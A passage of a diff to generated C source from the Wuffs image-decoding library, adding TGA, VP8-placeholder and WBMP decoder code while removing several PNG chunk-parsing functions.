2u)))); -+ self->private_data.f_scratch[3u] = 255u; -+ if ((v_run_length + v_dst_x) > self->private_impl.f_width) { -+ status = wuffs_base__make_status(wuffs_tga__error__bad_run_length_encoding); -+ goto exit; -+ } -+ } -+ } - } -- num_bits_0 += 8u; -- *scratch |= ((uint64_t)(num_bits_0)); -+ } -+ v_dst_x = 0u; -+ if (((uint8_t)(self->private_impl.f_header_image_descriptor & 32u)) == 0u) { -+ v_dst_y -= 1u; -+ } else { -+ v_dst_y += 1u; -+ } -+ if (((uint8_t)(self->private_impl.f_header_image_type & 8u)) == 0u) { -+ v_lit_length = self->private_impl.f_width; - } - } -- self->private_impl.f_metadata_x = t_0; -+ break; - } -- self->private_impl.f_metadata_y = 0u; -- self->private_impl.f_metadata_z = 0u; -+ self->private_impl.f_call_sequence = 96u; -+ -+ ok: -+ self->private_impl.p_do_decode_frame = 0; -+ goto exit; -+ } -+ -+ goto suspend; -+ suspend: -+ self->private_impl.p_do_decode_frame = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; -+ self->private_data.s_do_decode_frame.v_dst_bytes_per_pixel = v_dst_bytes_per_pixel; -+ self->private_data.s_do_decode_frame.v_dst_x = v_dst_x; -+ self->private_data.s_do_decode_frame.v_dst_y = v_dst_y; -+ self->private_data.s_do_decode_frame.v_mark = v_mark; -+ self->private_data.s_do_decode_frame.v_num_pixels32 = v_num_pixels32; -+ self->private_data.s_do_decode_frame.v_lit_length = v_lit_length; -+ self->private_data.s_do_decode_frame.v_run_length = v_run_length; -+ self->private_data.s_do_decode_frame.v_num_dst_bytes = v_num_dst_bytes; -+ -+ goto exit; -+ exit: -+ if (a_src && a_src->data.ptr) { -+ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); -+ } -+ -+ return status; -+} -+ -+// -------- func tga.decoder.frame_dirty_rect -+ -+WUFFS_BASE__GENERATED_C_CODE -+WUFFS_BASE__MAYBE_STATIC wuffs_base__rect_ie_u32 -+wuffs_tga__decoder__frame_dirty_rect( -+ const wuffs_tga__decoder* self) { -+ if (!self) { -+ return wuffs_base__utility__empty_rect_ie_u32(); -+ } -+ if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && -+ (self->private_impl.magic != WUFFS_BASE__DISABLED)) { -+ return wuffs_base__utility__empty_rect_ie_u32(); -+ } -+ -+ return wuffs_base__utility__make_rect_ie_u32( -+ 0u, -+ 0u, -+ self->private_impl.f_width, -+ self->private_impl.f_height); -+} -+ -+// -------- func tga.decoder.num_animation_loops -+ -+WUFFS_BASE__GENERATED_C_CODE -+WUFFS_BASE__MAYBE_STATIC uint32_t -+wuffs_tga__decoder__num_animation_loops( -+ const wuffs_tga__decoder* self) { -+ if (!self) { -+ return 0; -+ } -+ if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && -+ (self->private_impl.magic != WUFFS_BASE__DISABLED)) { -+ return 0; -+ } -+ -+ return 0u; -+} -+ -+// -------- func tga.decoder.num_decoded_frame_configs -+ -+WUFFS_BASE__GENERATED_C_CODE -+WUFFS_BASE__MAYBE_STATIC uint64_t -+wuffs_tga__decoder__num_decoded_frame_configs( -+ const wuffs_tga__decoder* self) { -+ if (!self) { -+ return 0; -+ } -+ if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && -+ (self->private_impl.magic != WUFFS_BASE__DISABLED)) { -+ return 0; -+ } -+ -+ if (self->private_impl.f_call_sequence > 32u) { -+ return 1u; -+ } -+ return 0u; -+} -+ -+// -------- func tga.decoder.num_decoded_frames -+ -+WUFFS_BASE__GENERATED_C_CODE -+WUFFS_BASE__MAYBE_STATIC uint64_t -+wuffs_tga__decoder__num_decoded_frames( -+ const wuffs_tga__decoder* self) { -+ if (!self) { -+ return 0; -+ } -+ if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && -+ (self->private_impl.magic != WUFFS_BASE__DISABLED)) { -+ return 0; -+ } -+ -+ if (self->private_impl.f_call_sequence > 64u) { -+ return 1u; -+ } -+ return 0u; -+} -+ -+// -------- func tga.decoder.restart_frame -+ -+WUFFS_BASE__GENERATED_C_CODE -+WUFFS_BASE__MAYBE_STATIC wuffs_base__status -+wuffs_tga__decoder__restart_frame( -+ wuffs_tga__decoder* self, -+ uint64_t a_index, -+ uint64_t a_io_position) { -+ if (!self) { -+ return wuffs_base__make_status(wuffs_base__error__bad_receiver); -+ } -+ if (self->private_impl.magic != WUFFS_BASE__MAGIC) { -+ return wuffs_base__make_status( -+ (self->private_impl.magic == WUFFS_BASE__DISABLED) -+ ? wuffs_base__error__disabled_by_previous_error -+ : wuffs_base__error__initialize_not_called); -+ } -+ -+ if (self->private_impl.f_call_sequence < 32u) { -+ return wuffs_base__make_status(wuffs_base__error__bad_call_sequence); -+ } -+ if (a_index != 0u) { -+ return wuffs_base__make_status(wuffs_base__error__bad_argument); -+ } -+ self->private_impl.f_call_sequence = 40u; -+ self->private_impl.f_frame_config_io_position = a_io_position; -+ return wuffs_base__make_status(NULL); -+} - -- goto ok; -- ok: -- self->private_impl.p_decode_gama[0] = 0; -- goto exit; -+// -------- func tga.decoder.set_report_metadata -+ -+WUFFS_BASE__GENERATED_C_CODE -+WUFFS_BASE__MAYBE_STATIC wuffs_base__empty_struct -+wuffs_tga__decoder__set_report_metadata( -+ wuffs_tga__decoder* self, -+ uint32_t a_fourcc, -+ bool a_report) { -+ return wuffs_base__make_empty_struct(); -+} -+ -+// -------- func tga.decoder.tell_me_more -+ -+WUFFS_BASE__GENERATED_C_CODE -+WUFFS_BASE__MAYBE_STATIC wuffs_base__status -+wuffs_tga__decoder__tell_me_more( -+ wuffs_tga__decoder* self, -+ wuffs_base__io_buffer* a_dst, -+ wuffs_base__more_information* a_minfo, -+ wuffs_base__io_buffer* a_src) { -+ if (!self) { -+ return wuffs_base__make_status(wuffs_base__error__bad_receiver); - } -+ if (self->private_impl.magic != WUFFS_BASE__MAGIC) { -+ return wuffs_base__make_status( -+ (self->private_impl.magic == WUFFS_BASE__DISABLED) -+ ? wuffs_base__error__disabled_by_previous_error -+ : wuffs_base__error__initialize_not_called); -+ } -+ if (!a_dst || !a_src) { -+ self->private_impl.magic = WUFFS_BASE__DISABLED; -+ return wuffs_base__make_status(wuffs_base__error__bad_argument); -+ } -+ if ((self->private_impl.active_coroutine != 0) && -+ (self->private_impl.active_coroutine != 4)) { -+ self->private_impl.magic = WUFFS_BASE__DISABLED; -+ return wuffs_base__make_status(wuffs_base__error__interleaved_coroutine_calls); -+ } -+ self->private_impl.active_coroutine = 0; -+ wuffs_base__status status = wuffs_base__make_status(NULL); - -- goto suspend; -- suspend: -- self->private_impl.p_decode_gama[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; -+ status = wuffs_base__make_status(wuffs_base__error__no_more_information); -+ goto exit; - -+ goto ok; -+ ok: - goto exit; - exit: -- if (a_src && a_src->data.ptr) { -- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); -+ if (wuffs_base__status__is_error(&status)) { -+ self->private_impl.magic = WUFFS_BASE__DISABLED; - } -- - return status; - } - --// -------- func png.decoder.decode_iccp -+// -------- func tga.decoder.workbuf_len - - WUFFS_BASE__GENERATED_C_CODE --static wuffs_base__status --wuffs_png__decoder__decode_iccp( -- wuffs_png__decoder* self, -- wuffs_base__io_buffer* a_src) { -- wuffs_base__status status = wuffs_base__make_status(NULL); -- -- uint8_t v_c = 0; -- -- const uint8_t* iop_a_src = NULL; -- const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -- const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -- const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -- if (a_src && a_src->data.ptr) { -- io0_a_src = a_src->data.ptr; -- io1_a_src = io0_a_src + a_src->meta.ri; -- iop_a_src = io1_a_src; -- io2_a_src = io0_a_src + a_src->meta.wi; -+WUFFS_BASE__MAYBE_STATIC wuffs_base__range_ii_u64 -+wuffs_tga__decoder__workbuf_len( -+ const wuffs_tga__decoder* self) { -+ if (!self) { -+ return wuffs_base__utility__empty_range_ii_u64(); -+ } -+ if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && -+ (self->private_impl.magic != WUFFS_BASE__DISABLED)) { -+ return wuffs_base__utility__empty_range_ii_u64(); - } - -- uint32_t coro_susp_point = self->private_impl.p_decode_iccp[0]; -- switch (coro_susp_point) { -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; -+ return wuffs_base__utility__make_range_ii_u64(0u, 0u); -+} - -- while (true) { -- if (self->private_impl.f_chunk_length <= 0u) { -- status = wuffs_base__make_status(wuffs_png__error__bad_chunk); -- goto exit; -- } -- self->private_impl.f_chunk_length -= 1u; -- { -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); -- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -- status = wuffs_base__make_status(wuffs_base__suspension__short_read); -- goto suspend; -- } -- uint8_t t_0 = *iop_a_src++; -- v_c = t_0; -- } -- if (v_c == 0u) { -- break; -- } -- } -- if (self->private_impl.f_chunk_length <= 0u) { -- status = wuffs_base__make_status(wuffs_png__error__bad_chunk); -- goto exit; -- } -- self->private_impl.f_chunk_length -= 1u; -- { -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); -- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -- status = wuffs_base__make_status(wuffs_base__suspension__short_read); -- goto suspend; -- } -- uint8_t t_1 = *iop_a_src++; -- v_c = t_1; -- } -- if (v_c != 0u) { -- status = wuffs_base__make_status(wuffs_png__error__unsupported_png_compression_method); -- goto exit; -- } -- self->private_impl.f_metadata_is_zlib_compressed = true; -- self->private_impl.f_metadata_flavor = 4u; -- self->private_impl.f_metadata_fourcc = 1229144912u; -- self->private_impl.f_metadata_x = 0u; -- self->private_impl.f_metadata_y = 0u; -- self->private_impl.f_metadata_z = 0u; -+#endif // !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__TGA) - -- goto ok; -- ok: -- self->private_impl.p_decode_iccp[0] = 0; -- goto exit; -- } -+#if !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__VP8) - -- goto suspend; -- suspend: -- self->private_impl.p_decode_iccp[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; -+// ---------------- Status Codes Implementations - -- goto exit; -- exit: -- if (a_src && a_src->data.ptr) { -- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); -- } -+// ---------------- Private Consts - -- return status; --} -+// ---------------- Private Initializer Prototypes - --// -------- func png.decoder.decode_plte -+// ---------------- Private Function Prototypes - --WUFFS_BASE__GENERATED_C_CODE --static wuffs_base__status --wuffs_png__decoder__decode_plte( -- wuffs_png__decoder* self, -- wuffs_base__io_buffer* a_src) { -- wuffs_base__status status = wuffs_base__make_status(NULL); -+// ---------------- VTables - -- uint32_t v_num_entries = 0; -- uint32_t v_i = 0; -- uint32_t v_argb = 0; -+// ---------------- Initializer Implementations - -- const uint8_t* iop_a_src = NULL; -- const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -- const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -- const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -- if (a_src && a_src->data.ptr) { -- io0_a_src = a_src->data.ptr; -- io1_a_src = io0_a_src + a_src->meta.ri; -- iop_a_src = io1_a_src; -- io2_a_src = io0_a_src + a_src->meta.wi; -+wuffs_base__status WUFFS_BASE__WARN_UNUSED_RESULT -+wuffs_vp8__placeholder__initialize( -+ wuffs_vp8__placeholder* self, -+ size_t sizeof_star_self, -+ uint64_t wuffs_version, -+ uint32_t options){ -+ if (!self) { -+ return wuffs_base__make_status(wuffs_base__error__bad_receiver); - } -- -- uint32_t coro_susp_point = self->private_impl.p_decode_plte[0]; -- if (coro_susp_point) { -- v_num_entries = self->private_data.s_decode_plte[0].v_num_entries; -- v_i = self->private_data.s_decode_plte[0].v_i; -+ if (sizeof(*self) != sizeof_star_self) { -+ return wuffs_base__make_status(wuffs_base__error__bad_sizeof_receiver); -+ } -+ if (((wuffs_version >> 32) != WUFFS_VERSION_MAJOR) || -+ (((wuffs_version >> 16) & 0xFFFF) > WUFFS_VERSION_MINOR)) { -+ return wuffs_base__make_status(wuffs_base__error__bad_wuffs_version); - } -- switch (coro_susp_point) { -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; - -- if ((self->private_impl.f_chunk_length > 768u) || ((self->private_impl.f_chunk_length % 3u) != 0u)) { -- status = wuffs_base__make_status(wuffs_png__error__bad_chunk); -- goto exit; -- } -- v_num_entries = (((uint32_t)(self->private_impl.f_chunk_length)) / 3u); -- self->private_impl.f_chunk_length = 0u; -- while (v_i < v_num_entries) { -- { -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); -- uint32_t t_0; -- if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 3)) { -- t_0 = ((uint32_t)(wuffs_base__peek_u24be__no_bounds_check(iop_a_src))); -- iop_a_src += 3; -- } else { -- self->private_data.s_decode_plte[0].scratch = 0; -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); -- while (true) { -- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -- status = wuffs_base__make_status(wuffs_base__suspension__short_read); -- goto suspend; -- } -- uint64_t* scratch = &self->private_data.s_decode_plte[0].scratch; -- uint32_t num_bits_0 = ((uint32_t)(*scratch & 0xFFu)); -- *scratch >>= 8; -- *scratch <<= 8; -- *scratch |= ((uint64_t)(*iop_a_src++)) << (56 - num_bits_0); -- if (num_bits_0 == 16) { -- t_0 = ((uint32_t)(*scratch >> 40)); -- break; -- } -- num_bits_0 += 8u; -- *scratch |= ((uint64_t)(num_bits_0)); -- } -- } -- v_argb = t_0; -- } -- v_argb |= 4278190080u; -- self->private_data.f_src_palette[((4u * v_i) + 0u)] = ((uint8_t)((v_argb >> 0u))); -- self->private_data.f_src_palette[((4u * v_i) + 1u)] = ((uint8_t)((v_argb >> 8u))); -- self->private_data.f_src_palette[((4u * v_i) + 2u)] = ((uint8_t)((v_argb >> 16u))); -- self->private_data.f_src_palette[((4u * v_i) + 3u)] = ((uint8_t)((v_argb >> 24u))); -- v_i += 1u; -+ if ((options & WUFFS_INITIALIZE__ALREADY_ZEROED) != 0) { -+ // The whole point of this if-check is to detect an uninitialized *self. -+ // We disable the warning on GCC. Clang-5.0 does not have this warning. -+#if !defined(__clang__) && defined(__GNUC__) -+#pragma GCC diagnostic push -+#pragma GCC diagnostic ignored "-Wmaybe-uninitialized" -+#endif -+ if (self->private_impl.magic != 0) { -+ return wuffs_base__make_status(wuffs_base__error__initialize_falsely_claimed_already_zeroed); - } -- while (v_i < 256u) { -- self->private_data.f_src_palette[((4u * v_i) + 0u)] = 0u; -- self->private_data.f_src_palette[((4u * v_i) + 1u)] = 0u; -- self->private_data.f_src_palette[((4u * v_i) + 2u)] = 0u; -- self->private_data.f_src_palette[((4u * v_i) + 3u)] = 255u; -- v_i += 1u; -+#if !defined(__clang__) && defined(__GNUC__) -+#pragma GCC diagnostic pop -+#endif -+ } else { -+ if ((options & WUFFS_INITIALIZE__LEAVE_INTERNAL_BUFFERS_UNINITIALIZED) == 0) { -+ memset(self, 0, sizeof(*self)); -+ options |= WUFFS_INITIALIZE__ALREADY_ZEROED; -+ } else { -+ memset(&(self->private_impl), 0, sizeof(self->private_impl)); - } -- -- goto ok; -- ok: -- self->private_impl.p_decode_plte[0] = 0; -- goto exit; - } - -- goto suspend; -- suspend: -- self->private_impl.p_decode_plte[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; -- self->private_data.s_decode_plte[0].v_num_entries = v_num_entries; -- self->private_data.s_decode_plte[0].v_i = v_i; -+ self->private_impl.magic = WUFFS_BASE__MAGIC; -+ return wuffs_base__make_status(NULL); -+} - -- goto exit; -- exit: -- if (a_src && a_src->data.ptr) { -- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); -+wuffs_vp8__placeholder* -+wuffs_vp8__placeholder__alloc(void) { -+ wuffs_vp8__placeholder* x = -+ (wuffs_vp8__placeholder*)(calloc(1, sizeof(wuffs_vp8__placeholder))); -+ if (!x) { -+ return NULL; - } -- -- return status; -+ if (wuffs_vp8__placeholder__initialize( -+ x, sizeof(wuffs_vp8__placeholder), WUFFS_VERSION, WUFFS_INITIALIZE__ALREADY_ZEROED).repr) { -+ free(x); -+ return NULL; -+ } -+ return x; - } - --// -------- func png.decoder.decode_srgb -- --WUFFS_BASE__GENERATED_C_CODE --static wuffs_base__status --wuffs_png__decoder__decode_srgb( -- wuffs_png__decoder* self, -- wuffs_base__io_buffer* a_src) { -- wuffs_base__status status = wuffs_base__make_status(NULL); -+size_t -+sizeof__wuffs_vp8__placeholder(void) { -+ return sizeof(wuffs_vp8__placeholder); -+} - -- const uint8_t* iop_a_src = NULL; -- const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -- const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -- const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -- if (a_src && a_src->data.ptr) { -- io0_a_src = a_src->data.ptr; -- io1_a_src = io0_a_src + a_src->meta.ri; -- iop_a_src = io1_a_src; -- io2_a_src = io0_a_src + a_src->meta.wi; -- } -+// ---------------- Function Implementations - -- uint32_t coro_susp_point = self->private_impl.p_decode_srgb[0]; -- switch (coro_susp_point) { -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; -+#endif // !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__VP8) - -- if (self->private_impl.f_chunk_length != 1u) { -- status = wuffs_base__make_status(wuffs_png__error__bad_chunk); -- goto exit; -- } -- self->private_impl.f_chunk_length = 0u; -- self->private_impl.f_metadata_flavor = 5u; -- self->private_impl.f_metadata_fourcc = 1397901122u; -- { -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); -- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -- status = wuffs_base__make_status(wuffs_base__suspension__short_read); -- goto suspend; -- } -- uint64_t t_0 = *iop_a_src++; -- self->private_impl.f_metadata_x = t_0; -- } -- self->private_impl.f_metadata_y = 0u; -- self->private_impl.f_metadata_z = 0u; -+#if !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__WBMP) - -- goto ok; -- ok: -- self->private_impl.p_decode_srgb[0] = 0; -- goto exit; -- } -+// ---------------- Status Codes Implementations - -- goto suspend; -- suspend: -- self->private_impl.p_decode_srgb[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; -+const char wuffs_wbmp__error__bad_header[] = "#wbmp: bad header"; -+const char wuffs_wbmp__error__truncated_input[] = "#wbmp: truncated input"; - -- goto exit; -- exit: -- if (a_src && a_src->data.ptr) { -- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); -- } -+// ---------------- Private Consts - -- return status; --} -+// ---------------- Private Initializer Prototypes - --// -------- func png.decoder.decode_trns -+// ---------------- Private Function Prototypes - - WUFFS_BASE__GENERATED_C_CODE - static wuffs_base__status --wuffs_png__decoder__decode_trns( -- wuffs_png__decoder* self, -- wuffs_base__io_buffer* a_src) { -- wuffs_base__status status = wuffs_base__make_status(NULL); -+wuffs_wbmp__decoder__do_decode_image_config( -+ wuffs_wbmp__decoder* self, -+ wuffs_base__image_config* a_dst, -+ wuffs_base__io_buffer* a_src); - -- uint32_t v_i = 0; -- uint32_t v_n = 0; -- uint64_t v_u = 0; -+WUFFS_BASE__GENERATED_C_CODE -+static wuffs_base__status -+wuffs_wbmp__decoder__do_decode_frame_config( -+ wuffs_wbmp__decoder* self, -+ wuffs_base__frame_config* a_dst, -+ wuffs_base__io_buffer* a_src); - -- const uint8_t* iop_a_src = NULL; -- const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -- const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -- const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -- if (a_src && a_src->data.ptr) { -- io0_a_src = a_src->data.ptr; -- io1_a_src = io0_a_src + a_src->meta.ri; -- iop_a_src = io1_a_src; -- io2_a_src = io0_a_src + a_src->meta.wi; -- } -+WUFFS_BASE__GENERATED_C_CODE -+static wuffs_base__status -+wuffs_wbmp__decoder__do_decode_frame( -+ wuffs_wbmp__decoder* self, -+ wuffs_base__pixel_buffer* a_dst, -+ wuffs_base__io_buffer* a_src, -+ wuffs_base__pixel_blend a_blend, -+ wuffs_base__slice_u8 a_workbuf, -+ wuffs_base__decode_frame_options* a_opts); - -- uint32_t coro_susp_point = self->private_impl.p_decode_trns[0]; -- if (coro_susp_point) { -- v_i = self->private_data.s_decode_trns[0].v_i; -- v_n = self->private_data.s_decode_trns[0].v_n; -- } -- switch (coro_susp_point) { -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; -+// ---------------- VTables - -- if (self->private_impl.f_color_type == 0u) { -- self->private_impl.choosy_filter_and_swizzle = ( -- &wuffs_png__decoder__filter_and_swizzle_tricky); -- if (self->private_impl.f_depth <= 8u) { -- self->private_impl.f_dst_pixfmt = 2164295816u; -- self->private_impl.f_src_pixfmt = 2164295816u; -- } else { -- self->private_impl.f_dst_pixfmt = 2164308923u; -- self->private_impl.f_src_pixfmt = 2164308923u; -- } -- if (self->private_impl.f_chunk_length != 2u) { -- status = wuffs_base__make_status(wuffs_png__error__bad_chunk); -- goto exit; -- } -- self->private_impl.f_chunk_length = 0u; -- { -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); -- uint64_t t_0; -- if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 2)) { -- t_0 = ((uint64_t)(wuffs_base__peek_u16be__no_bounds_check(iop_a_src))); -- iop_a_src += 2; -- } else { -- self->private_data.s_decode_trns[0].scratch = 0; -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); -- while (true) { -- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -- status = wuffs_base__make_status(wuffs_base__suspension__short_read); -- goto suspend; -- } -- uint64_t* scratch = &self->private_data.s_decode_trns[0].scratch; -- uint32_t num_bits_0 = ((uint32_t)(*scratch & 0xFFu)); -- *scratch >>= 8; -- *scratch <<= 8; -- *scratch |= ((uint64_t)(*iop_a_src++)) << (56 - num_bits_0); -- if (num_bits_0 == 8) { -- t_0 = ((uint64_t)(*scratch >> 48)); -- break; -- } -- num_bits_0 += 8u; -- *scratch |= ((uint64_t)(num_bits_0)); -- } -- } -- v_u = t_0; -- } -- if (self->private_impl.f_depth <= 1u) { -- self->private_impl.f_remap_transparency = (((v_u & 1u) * 16777215u) | 4278190080u); -- } else if (self->private_impl.f_depth <= 2u) { -- self->private_impl.f_remap_transparency = (((v_u & 3u) * 5592405u) | 4278190080u); -- } else if (self->private_impl.f_depth <= 4u) { -- self->private_impl.f_remap_transparency = (((v_u & 15u) * 1118481u) | 4278190080u); -- } else if (self->private_impl.f_depth <= 8u) { -- self->private_impl.f_remap_transparency = (((v_u & 255u) * 65793u) | 4278190080u); -- } else { -- self->private_impl.f_remap_transparency = ((v_u * 4295032833u) | 18446462598732840960u); -- } -- } else if (self->private_impl.f_color_type == 2u) { -- self->private_impl.choosy_filter_and_swizzle = ( -- &wuffs_png__decoder__filter_and_swizzle_tricky); -- if (self->private_impl.f_depth <= 8u) { -- self->private_impl.f_dst_pixfmt = 2164295816u; -- self->private_impl.f_src_pixfmt = 2164295816u; -- } else { -- self->private_impl.f_dst_pixfmt = 2164308923u; -- self->private_impl.f_src_pixfmt = 2164308923u; -- } -- if (self->private_impl.f_chunk_length != 6u) { -- status = wuffs_base__make_status(wuffs_png__error__bad_chunk); -- goto exit; -- } -- self->private_impl.f_chunk_length = 0u; -- { -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); -- uint64_t t_1; -- if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 6)) { -- t_1 = ((uint64_t)(wuffs_base__peek_u48be__no_bounds_check(iop_a_src))); -- iop_a_src += 6; -- } else { -- self->private_data.s_decode_trns[0].scratch = 0; -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(4); -- while (true) { -- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -- status = wuffs_base__make_status(wuffs_base__suspension__short_read); -- goto suspend; -- } -- uint64_t* scratch = &self->private_data.s_decode_trns[0].scratch; -- uint32_t num_bits_1 = ((uint32_t)(*scratch & 0xFFu)); -- *scratch >>= 8; -- *scratch <<= 8; -- *scratch |= ((uint64_t)(*iop_a_src++)) << (56 - num_bits_1); -- if (num_bits_1 == 40) { -- t_1 = ((uint64_t)(*scratch >> 16)); -- break; -- } -- num_bits_1 += 8u; -- *scratch |= ((uint64_t)(num_bits_1)); -- } -- } -- v_u = t_1; -- } -- if (self->private_impl.f_depth <= 8u) { -- self->private_impl.f_remap_transparency = ((255u & (v_u >> 0u)) | -- (65280u & (v_u >> 8u)) | -- (16711680u & (v_u >> 16u)) | -- 4278190080u); -- } else { -- self->private_impl.f_remap_transparency = (v_u | 18446462598732840960u); -- } -- } else if (self->private_impl.f_color_type == 3u) { -- self->private_impl.f_dst_pixfmt = 2164523016u; -- self->private_impl.f_src_pixfmt = 2164523016u; -- if (self->private_impl.f_chunk_length > 256u) { -- status = wuffs_base__make_status(wuffs_png__error__bad_chunk); -- goto exit; -- } -- v_n = ((uint32_t)(self->private_impl.f_chunk_length)); -- self->private_impl.f_chunk_length = 0u; -- while (v_i < v_n) { -- { -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(5); -- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -- status = wuffs_base__make_status(wuffs_base__suspension__short_read); -- goto suspend; -- } -- uint8_t t_2 = *iop_a_src++; -- self->private_data.f_src_palette[((4u * v_i) + 3u)] = t_2; -- } -- v_i += 1u; -- } -+const wuffs_base__image_decoder__func_ptrs -+wuffs_wbmp__decoder__func_ptrs_for__wuffs_base__image_decoder = { -+ (wuffs_base__status(*)(void*, -+ wuffs_base__pixel_buffer*, -+ wuffs_base__io_buffer*, -+ wuffs_base__pixel_blend, -+ wuffs_base__slice_u8, -+ wuffs_base__decode_frame_options*))(&wuffs_wbmp__decoder__decode_frame), -+ (wuffs_base__status(*)(void*, -+ wuffs_base__frame_config*, -+ wuffs_base__io_buffer*))(&wuffs_wbmp__decoder__decode_frame_config), -+ (wuffs_base__status(*)(void*, -+ wuffs_base__image_config*, -+ wuffs_base__io_buffer*))(&wuffs_wbmp__decoder__decode_image_config), -+ (wuffs_base__rect_ie_u32(*)(const void*))(&wuffs_wbmp__decoder__frame_dirty_rect), -+ (uint64_t(*)(const void*, -+ uint32_t))(&wuffs_wbmp__decoder__get_quirk), -+ (uint32_t(*)(const void*))(&wuffs_wbmp__decoder__num_animation_loops), -+ (uint64_t(*)(const void*))(&wuffs_wbmp__decoder__num_decoded_frame_configs), -+ (uint64_t(*)(const void*))(&wuffs_wbmp__decoder__num_decoded_frames), -+ (wuffs_base__status(*)(void*, -+ uint64_t, -+ uint64_t))(&wuffs_wbmp__decoder__restart_frame), -+ (wuffs_base__status(*)(void*, -+ uint32_t, -+ uint64_t))(&wuffs_wbmp__decoder__set_quirk), -+ (wuffs_base__empty_struct(*)(void*, -+ uint32_t, -+ bool))(&wuffs_wbmp__decoder__set_report_metadata), -+ (wuffs_base__status(*)(void*, -+ wuffs_base__io_buffer*, -+ wuffs_base__more_information*, -+ wuffs_base__io_buffer*))(&wuffs_wbmp__decoder__tell_me_more), -+ (wuffs_base__range_ii_u64(*)(const void*))(&wuffs_wbmp__decoder__workbuf_len), -+}; -+ -+// ---------------- Initializer Implementations -+ -+wuffs_base__status WUFFS_BASE__WARN_UNUSED_RESULT -+wuffs_wbmp__decoder__initialize( -+ wuffs_wbmp__decoder* self, -+ size_t sizeof_star_self, -+ uint64_t wuffs_version, -+ uint32_t options){ -+ if (!self) { -+ return wuffs_base__make_status(wuffs_base__error__bad_receiver); -+ } -+ if (sizeof(*self) != sizeof_star_self) { -+ return wuffs_base__make_status(wuffs_base__error__bad_sizeof_receiver); -+ } -+ if (((wuffs_version >> 32) != WUFFS_VERSION_MAJOR) || -+ (((wuffs_version >> 16) & 0xFFFF) > WUFFS_VERSION_MINOR)) { -+ return wuffs_base__make_status(wuffs_base__error__bad_wuffs_version); -+ } -+ -+ if ((options & WUFFS_INITIALIZE__ALREADY_ZEROED) != 0) { -+ // The whole point of this if-check is to detect an uninitialized *self. -+ // We disable the warning on GCC. Clang-5.0 does not have this warning. -+#if !defined(__clang__) && defined(__GNUC__) -+#pragma GCC diagnostic push -+#pragma GCC diagnostic ignored "-Wmaybe-uninitialized" -+#endif -+ if (self->private_impl.magic != 0) { -+ return wuffs_base__make_status(wuffs_base__error__initialize_falsely_claimed_already_zeroed); -+ } -+#if !defined(__clang__) && defined(__GNUC__) -+#pragma GCC diagnostic pop -+#endif -+ } else { -+ if ((options & WUFFS_INITIALIZE__LEAVE_INTERNAL_BUFFERS_UNINITIALIZED) == 0) { -+ memset(self, 0, sizeof(*self)); -+ options |= WUFFS_INITIALIZE__ALREADY_ZEROED; - } else { -- status = wuffs_base__make_status(wuffs_png__error__bad_chunk); -- goto exit; -+ memset(&(self->private_impl), 0, sizeof(self->private_impl)); - } -+ } - -- goto ok; -- ok: -- self->private_impl.p_decode_trns[0] = 0; -- goto exit; -+ 